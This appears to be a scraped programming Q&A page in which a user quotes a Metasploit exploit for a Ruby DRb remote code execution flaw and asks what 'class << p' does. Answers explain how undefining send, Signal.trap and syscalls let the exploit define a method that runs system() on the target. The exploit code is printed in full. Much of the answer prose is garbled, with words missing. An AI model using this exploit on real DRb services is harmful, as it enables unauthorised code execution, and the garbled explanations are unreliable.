Understanding the syntax of ruby ​​"class << variable"

I was looking for an old bug in DRb using metasploit, which uses a method:

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it 64 or 32 bit:
    # it getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

I'm not a ruby ​​programmer, but I have a general idea of ​​what is going on, except for a few lines.
Can someone explain what is happening in lines 5-9? (starts with "class <<...")

+4
source share
2 answers
class << p
  undef :send
end

This undefined sendobject method p( sendused for dynamically calling methods on the receiver).

, DRbObject method_missing, . DRb, , , DRbServer check_insecure_method, , , .

, method_missing, my_eval Object , system .

+2
class << p
  undef :send
end

undefine send DRbObject. , DRbObject , method_missing.

send .

p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")

Signal.trap 23 , , , , , , Object, .

, Signal.trap . , , .

 >   pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping                                                                       #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test                     #=> 1

, , eval ed Signal.trap.

# syscall to decide whether it 64 or 32 bit:
# it getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
  pid = p.send(:syscall, 20)
  p.send(:syscall, 37, pid, 23)

Kernel#syscall, Unix. rescue 64- . 32- :

  • p.send(:syscall, 20) sys_getpid()
  • p.send(:syscall, 37, pid, 23) sys_kill(<pid>, 23). 23.

, :

  • Undefines send method_missing
  • method_missing Signal.trap(23) ruby,
  • Kernel#syscall PID
  • Kernel#syscall kill -23 <pid>, , , 2, , , , my_eval Object, system ( )
  • my_eval

:

http://syscalls.kernelgrok.com/

https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap

https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall

+2

Source: https://habr.com/ru/post/1677609/


All Articles